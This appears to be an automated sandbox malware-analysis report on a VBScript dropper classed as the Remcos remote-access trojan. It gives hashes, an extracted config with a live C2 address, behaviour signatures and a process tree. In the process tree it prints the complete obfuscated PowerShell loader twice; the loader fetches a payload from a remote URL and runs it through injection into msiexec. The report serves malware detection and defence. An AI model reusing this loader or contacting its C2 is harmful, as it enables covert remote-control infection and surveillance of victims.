Overview

overview

10

Static

static

1

96e58c4ebc...3f.vbs

windows7-x64

10

96e58c4ebc...3f.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-12-2024 02:51

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    96e58c4ebcebd2972a1f50671fe2c43a89caa4c078767952ddcade51985d4a3f.vbs

  • Size

    62KB

  • MD5

    e6c71bbe4f758fb7c79ac21e9c514977

  • SHA1

    8a491650c20b51b8ccaeb4d76464b01ab1f15ef7

  • SHA256

    96e58c4ebcebd2972a1f50671fe2c43a89caa4c078767952ddcade51985d4a3f

  • SHA512

    e2bc84942acdf9af4afac209f6d3950572eb6eb595e4720cbd3f24e1906a204e4e3fe6867d9d7ecb54166154b5c753662b017c52e3b50c3e38df93bb1c70a59a

  • SSDEEP

    1536:Ddt+UfF7Uvx4GHZg40xnsg07lyODovbB1sRirf5:5MUdq4GGJxszCvbBcirx

Score
10/10
remcosremotehostdiscoveryrat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

154.216.18.216:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-7K8JAD

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Remcos family
    remcos
  • Blocklisted process makes network request 9 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\96e58c4ebcebd2972a1f50671fe2c43a89caa4c078767952ddcade51985d4a3f.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Ndhjlps='Kontinentalsokkel';;$Klauber101='Catadioptrical';;$Marksmen='Kalfaktorens';;$Unlivableness='Limewort';;$Proctoplastic=$host.Name; function Exposes($Kataloger){If ($Proctoplastic) {$Cognacagtigeres='Corollaceous';$Unintelligently103=4;$credoerne=$Unintelligently103}do{$Defeats+=$Kataloger[$credoerne];$credoerne+=5} until(!$Kataloger[$credoerne])$Defeats}function Nonprecipitation225($Civvy){ .($hesperornithid) ($Civvy)}$Underekstremiteten=Exposes 'Le.iNKompESubtt C.e.Depow';$Underekstremiteten+=Exposes 'broneAn eb s mCUntolWaleiSidsefotoNOv rT';$Chemotherapy=Exposes 'NondMTresoEarlzOocyi indlFriglT etakom /';$Valsk=Exposes ' PreTEme lStubsTrag1 tim2';$Gevandterne='E fa[ HulnBraiE G dT V b.DilaSS ereEndarUnruv .reIbeboC fsaETermPSygeO BroiPiroNDuodtBareM CocAWr tN ,ona M.lGAlabea terHols]Augm:Aftv:RigssDekaEN ffCUltrU,tomROut i SmytD ngyMercPDomerU.efOAtriTf,glORaadcNe,roBeyol Fej=Batt$ flav TotARan LSvrls,jreK';$Chemotherapy+=Exposes 'Ca o5 A,b.Sk b0 Xen I,te(DingWelskiRequnDrifdudmaoTmniwGrnssO,by ,oflNBur.TZone Camo1Spur0R ln.Groi0.nth;Sfi actoWBu diHaywnF,rv6G,ni4Skat; G,e ParaxGudf6K.us4A st; opr dionrMic vOmt :F,id1Stor3Nykk1Reca.,prn0Dela) Cen OutG Ap eSrskcDotik NicoA,ou/Ball2Brag0 For1 Leu0Tims0Band1 Sy 0Mamm1Cond PsaFDyreiAndrrEnsleHincfSan o bemxAnal/Myos1Soci3Kalo1Bavl.Derm0';$Erhvervssygdommene=Exposes 'MargUA foSTumieImpornani- DogAImplGFluoE KolnPu.pt';$Ridableness=Exposes 'Miljh Shit nultRubbp vasergs:L.dg/Voci/OutroCutlfWall1Hgt xRedi.CafiiRepocglobuf,ng/Ydrert lbx SerHB llERo kjLin EAn kYPimpEUnde/ChifNDepri D.kc entkUnive Gy.lKri i OveztermaLykktIndbiFusioEtikn Lep.K.nfcKrels No.v';$Samariteruddannelse=Exposes 'Nids>';$hesperornithid=Exposes ' ineIStrue oncx';$Arbejdstilbud216='Delelejligheds';$Stenvindenes49='\huguenotism.Bed';Nonprecipitation225 (Exposes ' Sac$BikagBondlThe O,onoB mpea belLupsl:IleomThomoletmDSubfEev lNFunkHArkie nrDI peESeksROrd NBolseUmedST,as= Kl.$ InkerefrnDeutvd hy:lollATa nP utPl ddDAdelaFod Tb tuaP,ja+Plag$mokeSAdretPr aEnvernHoveVInfri SanNChacdKroeE CooN KameNon Sconc4 Cap9');Nonprecipitation225 (Exposes 'Non $ TecGRentlKuldonondBBe aaFiskL Und:Ko,en oesa.orhRFi ucSmudODepaS HydIM loSIlio=Hove$CrosR opnISupeDTilsaTereB NonlIde e M snForseKanaSInkusTra .dic,sbolip nefLHemaIRifft Ou ( V r$FaldS Coha VarmPrivaOutwrAnneiSto T Apteh,emrmoruUCystD ildBilbA MonNTinsNK.atELoseLMed sClime Rip)');Nonprecipitation225 (Exposes $Gevandterne);$Ridableness=$Narcosis[0];$fike=(Exposes ' Hom$GangGDiscLGensoS ngB MagAEth l.ord:StroTPerivraadINovis Fort.ikrERoerPDipoUDavinIrreKCaritBambE,pitTUng sAden=Encyn ChaEafbeWSkaa-DrifO manBSub.jBredEBaylCK,tttnone TessByggyR glsChaut LeveFdsemSoci.Real$ForsUTidsnInd DVlteE CulRT,laeMillkDiscsIndst BssrUltiEGinnmSmalI,orvtRecae .ilTBesvELiniN');Nonprecipitation225 ($fike);Nonprecipitation225 (Exposes ' F r$R.ilT,eskv Arti RossSp ntO eredonopinf,uAe.enSta kHiggtSliseLoyktImmusBatz. hawHBargeBefra FandForlePlowr P dsBenp[,yds$MallEGra,r Cheh S evKulteSwelrTellv RemsKomps .ury AksgEnerd hino arkmArchmNaboeasshn ndle L n]Symb=Stra$ TilCSa bh rydeGatfm ewoIndgtBronhForbeT ddrSupea stapChesy');$Faerie=Exposes 'Hved$C emTGasavTaariCompsinqutBozaec nvpKarau DiknRe ik Jartteame Rr tSkots ps.TungDPantoFoulwCockn ilgl ParoA enaPit.dKretF I tiCop lstemeEl c(Gath$Ka.tRRabaiFlerdDravaOp pbM dllPar eP lmn At eOomisBattsR ot, fon$LsniEPro.xProjcangie K vpGirrtSinfoSquarFast)';$Exceptor=$Modenhedernes;Nonprecipitation225 (Exposes 'Cerb$I dkgMethlU drO nivBboucAK lvLUnna: LykSProjtUndeaintemSym,cRhodELipol vrtlMisyeMeddROrthnFleaendes=Inse(Rev tNoddE sims Allt Sai- acpAppla.ehjt Br.HC.st Sik$ApotesubrXEnkecToilEWarePTes TCabroDiodR Hes)');while (!$Stamcellerne) {Nonprecipitation225 (Exposes 'Semi$Re.sgHjvelA,tooJo.rbAutoaSu elEnkr:SigvSEmbekSlariPlanfD,bltLandeSweeb SpoeVarmh rapaSignnTestdBn.elBo,tiMystnPolygActis vlv=Slad$Non B Spir Notn InveIndihDrikaUn evAmieeLockpMucidbo kaSalmgGl.woToilgSucreBlocra ganSlokeTears') ;Nonprecipitation225 $Faerie;Nonprecipitation225 (Exposes ' rdeSDrueTBloca,jaeR ol.TT nn-AstrsUnchl ideeD spe SkrPU,gi Ud,o4');Nonprecipitation225 (Exposes ' Bra$ ntgRetslPl toNonpBEddiABes Lmi t:,mpoSTonetArguA Pa MPlascFiniES.aml FeslDeavEKommrPhotn riseFink=Ce.t(Ru.dT.verefylds tanTSkaa- CabpSt,ga uldTlaurH Inc Lys.$Mi.sEA tix N nCRserE verP artUndeOSammRUnr,)') ;Nonprecipitation225 (Exposes ' Cor$PalsgAddilProtoDankBvinyAKbstl R s:ProbJA phe riR KonnCropBlderATuesNRentEvisusT azTRdblAN.leTRokeIKretoKnobNToqu= Sa,$ Sa G Alml Kr.OBrygbSp,ca InaL Dis:reflDFerlI VrdP In,hSkoveOrign .nfH Ergy Ju dCol rLfteAT,lemConciFolkNUanse eps+ Ove+ Sal%a,pr$Ta.lnBrdbaP.arRNonccSkbnOE,nrSRaaki BlosStiv. TilCS inO,angu alln Fo T') ;$Ridableness=$Narcosis[$jernbanestation]}$Radiatory=326426;$Huppahs176=31719;Nonprecipitation225 (Exposes 'Toll$Kempg SublExc O .aabKorsAUdadl Tal:KonfyhebenFremDAutal SvmIVejoN AlrGHjemsKr mOUnd,fEvelfStaneFremr Spr ,amm=Seam L vegM nheronttTran-Obduc RelOAchiNK.dnTFlete lanGomatBedf Pea$ kuleUdstxEm ncEgene,utipWurztAlloOPedar');Nonprecipitation225 (Exposes '.lal$Caddg BonloveroBervbhal a ompl efj:Hy eE N,tkMisasPar.pSkoloamstrMeattStr vSyrurAdumd Sc,iOrph V.s=Va.e Gide[EnwhS Ud yStttsFir tProteVentmSis .cockCErhvo hronRav,v AdveDetor IsotFeed]Squa: His:Hos.FturtrKe.no ommCephBF elaSprnstodaeCadu6Sekh4StvkSV.cutScarrFr,tiPartn oligKrko( Sub$ CupYEs,an T,ddC,arl O,siM linKl ngMisasMegao .omfAbstfFej eS,ovr b g)');Nonprecipitation225 (Exposes 'Bskt$.risGEfteLSubpODaviBMedeAConil,ovi: kovT Ar.a KarlOwlgNNaziEBastTUdviTUfore MowNPlanEMeni Skil= Lac For[geomsAcroYSoljS nmetLu eE Be mKont. esttTilse ennXBobltL se.Konse SygnForfCLsbaoBde DGraiIVmmenC utGFico] la:Phot:TaleAPyrrS rocPaa IBundIUros. .ylgEmpuE Un tUn.ss CenTski rBesgII.den rosG Pee(Gn v$S lfEKhutKKnogsSupppKapioN.ncrFyldT VetV ad rPrisdJernI Teu)');Nonprecipitation225 (Exposes 'Dete$Ex agUnd LtimeoDr kbInglAundelFre,:SexiT NonrUdmaA T lMDiaePGl uAD smgSiddE Syn= Kvl$Mic.tGrasAReadLBootNCaboEBranTsanstStyreoplsnSillEMell.F.thSSulpu F,rbGermS nitTFjelRDistIVrign R kgMon (A sk$UlmorInapAsem,d,phaiMonoaPre TPe soUnexr Amuy ain,Outt$i juHAftauStilp BarpCa,raMundHCyclsTnde1B.dr7 Und6Hema)');Nonprecipitation225 $Trampage;"
      2⤵
      • Blocklisted process makes network request
      • System Time Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2744
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Ndhjlps='Kontinentalsokkel';;$Klauber101='Catadioptrical';;$Marksmen='Kalfaktorens';;$Unlivableness='Limewort';;$Proctoplastic=$host.Name; function Exposes($Kataloger){If ($Proctoplastic) {$Cognacagtigeres='Corollaceous';$Unintelligently103=4;$credoerne=$Unintelligently103}do{$Defeats+=$Kataloger[$credoerne];$credoerne+=5} until(!$Kataloger[$credoerne])$Defeats}function Nonprecipitation225($Civvy){ .($hesperornithid) ($Civvy)}$Underekstremiteten=Exposes 'Le.iNKompESubtt C.e.Depow';$Underekstremiteten+=Exposes 'broneAn eb s mCUntolWaleiSidsefotoNOv rT';$Chemotherapy=Exposes 'NondMTresoEarlzOocyi indlFriglT etakom /';$Valsk=Exposes ' PreTEme lStubsTrag1 tim2';$Gevandterne='E fa[ HulnBraiE G dT V b.DilaSS ereEndarUnruv .reIbeboC fsaETermPSygeO BroiPiroNDuodtBareM CocAWr tN ,ona M.lGAlabea terHols]Augm:Aftv:RigssDekaEN ffCUltrU,tomROut i SmytD ngyMercPDomerU.efOAtriTf,glORaadcNe,roBeyol Fej=Batt$ flav TotARan LSvrls,jreK';$Chemotherapy+=Exposes 'Ca o5 A,b.Sk b0 Xen I,te(DingWelskiRequnDrifdudmaoTmniwGrnssO,by ,oflNBur.TZone Camo1Spur0R ln.Groi0.nth;Sfi actoWBu diHaywnF,rv6G,ni4Skat; G,e ParaxGudf6K.us4A st; opr dionrMic vOmt :F,id1Stor3Nykk1Reca.,prn0Dela) Cen OutG Ap eSrskcDotik NicoA,ou/Ball2Brag0 For1 Leu0Tims0Band1 Sy 0Mamm1Cond PsaFDyreiAndrrEnsleHincfSan o bemxAnal/Myos1Soci3Kalo1Bavl.Derm0';$Erhvervssygdommene=Exposes 'MargUA foSTumieImpornani- DogAImplGFluoE KolnPu.pt';$Ridableness=Exposes 'Miljh Shit nultRubbp vasergs:L.dg/Voci/OutroCutlfWall1Hgt xRedi.CafiiRepocglobuf,ng/Ydrert lbx SerHB llERo kjLin EAn kYPimpEUnde/ChifNDepri D.kc entkUnive Gy.lKri i OveztermaLykktIndbiFusioEtikn Lep.K.nfcKrels No.v';$Samariteruddannelse=Exposes 'Nids>';$hesperornithid=Exposes ' ineIStrue oncx';$Arbejdstilbud216='Delelejligheds';$Stenvindenes49='\huguenotism.Bed';Nonprecipitation225 (Exposes ' Sac$BikagBondlThe O,onoB mpea belLupsl:IleomThomoletmDSubfEev lNFunkHArkie nrDI peESeksROrd NBolseUmedST,as= Kl.$ InkerefrnDeutvd hy:lollATa nP utPl ddDAdelaFod Tb tuaP,ja+Plag$mokeSAdretPr aEnvernHoveVInfri SanNChacdKroeE CooN KameNon Sconc4 Cap9');Nonprecipitation225 (Exposes 'Non $ TecGRentlKuldonondBBe aaFiskL Und:Ko,en oesa.orhRFi ucSmudODepaS HydIM loSIlio=Hove$CrosR opnISupeDTilsaTereB NonlIde e M snForseKanaSInkusTra .dic,sbolip nefLHemaIRifft Ou ( V r$FaldS Coha VarmPrivaOutwrAnneiSto T Apteh,emrmoruUCystD ildBilbA MonNTinsNK.atELoseLMed sClime Rip)');Nonprecipitation225 (Exposes $Gevandterne);$Ridableness=$Narcosis[0];$fike=(Exposes ' Hom$GangGDiscLGensoS ngB MagAEth l.ord:StroTPerivraadINovis Fort.ikrERoerPDipoUDavinIrreKCaritBambE,pitTUng sAden=Encyn ChaEafbeWSkaa-DrifO manBSub.jBredEBaylCK,tttnone TessByggyR glsChaut LeveFdsemSoci.Real$ForsUTidsnInd DVlteE CulRT,laeMillkDiscsIndst BssrUltiEGinnmSmalI,orvtRecae .ilTBesvELiniN');Nonprecipitation225 ($fike);Nonprecipitation225 (Exposes ' F r$R.ilT,eskv Arti RossSp ntO eredonopinf,uAe.enSta kHiggtSliseLoyktImmusBatz. hawHBargeBefra FandForlePlowr P dsBenp[,yds$MallEGra,r Cheh S evKulteSwelrTellv RemsKomps .ury AksgEnerd hino arkmArchmNaboeasshn ndle L n]Symb=Stra$ TilCSa bh rydeGatfm ewoIndgtBronhForbeT ddrSupea stapChesy');$Faerie=Exposes 'Hved$C emTGasavTaariCompsinqutBozaec nvpKarau DiknRe ik Jartteame Rr tSkots ps.TungDPantoFoulwCockn ilgl ParoA enaPit.dKretF I tiCop lstemeEl c(Gath$Ka.tRRabaiFlerdDravaOp pbM dllPar eP lmn At eOomisBattsR ot, fon$LsniEPro.xProjcangie K vpGirrtSinfoSquarFast)';$Exceptor=$Modenhedernes;Nonprecipitation225 (Exposes 'Cerb$I dkgMethlU drO nivBboucAK lvLUnna: LykSProjtUndeaintemSym,cRhodELipol vrtlMisyeMeddROrthnFleaendes=Inse(Rev tNoddE sims Allt Sai- acpAppla.ehjt Br.HC.st Sik$ApotesubrXEnkecToilEWarePTes TCabroDiodR Hes)');while (!$Stamcellerne) {Nonprecipitation225 (Exposes 'Semi$Re.sgHjvelA,tooJo.rbAutoaSu elEnkr:SigvSEmbekSlariPlanfD,bltLandeSweeb SpoeVarmh rapaSignnTestdBn.elBo,tiMystnPolygActis vlv=Slad$Non B Spir Notn InveIndihDrikaUn evAmieeLockpMucidbo kaSalmgGl.woToilgSucreBlocra ganSlokeTears') ;Nonprecipitation225 $Faerie;Nonprecipitation225 (Exposes ' rdeSDrueTBloca,jaeR ol.TT nn-AstrsUnchl ideeD spe SkrPU,gi Ud,o4');Nonprecipitation225 (Exposes ' Bra$ ntgRetslPl toNonpBEddiABes Lmi t:,mpoSTonetArguA Pa MPlascFiniES.aml FeslDeavEKommrPhotn riseFink=Ce.t(Ru.dT.verefylds tanTSkaa- CabpSt,ga uldTlaurH Inc Lys.$Mi.sEA tix N nCRserE verP artUndeOSammRUnr,)') ;Nonprecipitation225 (Exposes ' Cor$PalsgAddilProtoDankBvinyAKbstl R s:ProbJA phe riR KonnCropBlderATuesNRentEvisusT azTRdblAN.leTRokeIKretoKnobNToqu= Sa,$ Sa G Alml Kr.OBrygbSp,ca InaL Dis:reflDFerlI VrdP In,hSkoveOrign .nfH Ergy Ju dCol rLfteAT,lemConciFolkNUanse eps+ Ove+ Sal%a,pr$Ta.lnBrdbaP.arRNonccSkbnOE,nrSRaaki BlosStiv. TilCS inO,angu alln Fo T') ;$Ridableness=$Narcosis[$jernbanestation]}$Radiatory=326426;$Huppahs176=31719;Nonprecipitation225 (Exposes 'Toll$Kempg SublExc O .aabKorsAUdadl Tal:KonfyhebenFremDAutal SvmIVejoN AlrGHjemsKr mOUnd,fEvelfStaneFremr Spr ,amm=Seam L vegM nheronttTran-Obduc RelOAchiNK.dnTFlete lanGomatBedf Pea$ kuleUdstxEm ncEgene,utipWurztAlloOPedar');Nonprecipitation225 (Exposes '.lal$Caddg BonloveroBervbhal a ompl efj:Hy eE N,tkMisasPar.pSkoloamstrMeattStr vSyrurAdumd Sc,iOrph V.s=Va.e Gide[EnwhS Ud yStttsFir tProteVentmSis .cockCErhvo hronRav,v AdveDetor IsotFeed]Squa: His:Hos.FturtrKe.no ommCephBF elaSprnstodaeCadu6Sekh4StvkSV.cutScarrFr,tiPartn oligKrko( Sub$ CupYEs,an T,ddC,arl O,siM linKl ngMisasMegao .omfAbstfFej eS,ovr b g)');Nonprecipitation225 (Exposes 'Bskt$.risGEfteLSubpODaviBMedeAConil,ovi: kovT Ar.a KarlOwlgNNaziEBastTUdviTUfore MowNPlanEMeni Skil= Lac For[geomsAcroYSoljS nmetLu eE Be mKont. esttTilse ennXBobltL se.Konse SygnForfCLsbaoBde DGraiIVmmenC utGFico] la:Phot:TaleAPyrrS rocPaa IBundIUros. .ylgEmpuE Un tUn.ss CenTski rBesgII.den rosG Pee(Gn v$S lfEKhutKKnogsSupppKapioN.ncrFyldT VetV ad rPrisdJernI Teu)');Nonprecipitation225 (Exposes 'Dete$Ex agUnd LtimeoDr kbInglAundelFre,:SexiT NonrUdmaA T lMDiaePGl uAD smgSiddE Syn= Kvl$Mic.tGrasAReadLBootNCaboEBranTsanstStyreoplsnSillEMell.F.thSSulpu F,rbGermS nitTFjelRDistIVrign R kgMon (A sk$UlmorInapAsem,d,phaiMonoaPre TPe soUnexr Amuy ain,Outt$i juHAftauStilp BarpCa,raMundHCyclsTnde1B.dr7 Und6Hema)');Nonprecipitation225 $Trampage;"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • System Time Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3132
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      PID:1392

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    71444def27770d9071039d005d0323b7

    SHA1

    cef8654e95495786ac9347494f4417819373427e

    SHA256

    8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

    SHA512

    a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_morw4bzv.fcw.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Roaming\huguenotism.Bed
    Filesize

    466KB

    MD5

    b26527026f5a26ed7babddb7e8d8b340

    SHA1

    773235c6fa1ccb738db217fe387259c8c4f70c79

    SHA256

    4f558a98bcbea1f90ed0f74003698909dcae021ccf2550f0309a7242f8ca7054

    SHA512

    a1a8715881d3e06d7c5d4f1ae552894f811591c0e3beb0caa602cfaea957f67da7ff3850ebd16b31443aad6455f2cc12cb176a0a99c03608806113cf8f0a971a

    Download Submit

  • memory/1392-59-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-61-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-54-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-55-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-65-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-64-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-56-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-63-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-62-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-57-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-58-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-60-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/1392-51-0x0000000000E90000-0x00000000020E4000-memory.dmp

    Filesize

    18.3MB

    Download

  • memory/2744-11-0x00007FFEC6CD0000-0x00007FFEC7791000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2744-12-0x00007FFEC6CD0000-0x00007FFEC7791000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2744-0-0x00007FFEC6CD3000-0x00007FFEC6CD5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2744-18-0x00007FFEC6CD0000-0x00007FFEC7791000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2744-15-0x00007FFEC6CD0000-0x00007FFEC7791000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2744-1-0x000001E7F3950000-0x000001E7F3972000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3132-21-0x0000000005B10000-0x0000000005B32000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3132-43-0x00000000093F0000-0x000000000C064000-memory.dmp

    Filesize

    44.5MB

    Download

  • memory/3132-41-0x0000000008E40000-0x00000000093E4000-memory.dmp

    Filesize

    5.6MB

    Download

  • memory/3132-40-0x0000000007BD0000-0x0000000007BF2000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3132-39-0x0000000007C30000-0x0000000007CC6000-memory.dmp

    Filesize

    600KB

    Download

  • memory/3132-38-0x0000000006F50000-0x0000000006F6A000-memory.dmp

    Filesize

    104KB

    Download

  • memory/3132-37-0x0000000008210000-0x000000000888A000-memory.dmp

    Filesize

    6.5MB

    Download

  • memory/3132-36-0x0000000006A00000-0x0000000006A4C000-memory.dmp

    Filesize

    304KB

    Download

  • memory/3132-35-0x00000000069D0000-0x00000000069EE000-memory.dmp

    Filesize

    120KB

    Download

  • memory/3132-33-0x0000000006390000-0x00000000066E4000-memory.dmp

    Filesize

    3.3MB

    Download

  • memory/3132-23-0x0000000005C20000-0x0000000005C86000-memory.dmp

    Filesize

    408KB

    Download

  • memory/3132-22-0x0000000005BB0000-0x0000000005C16000-memory.dmp

    Filesize

    408KB

    Download

  • memory/3132-20-0x0000000005CA0000-0x00000000062C8000-memory.dmp

    Filesize

    6.2MB

    Download

  • memory/3132-19-0x00000000030A0000-0x00000000030D6000-memory.dmp

    Filesize

    216KB

    Download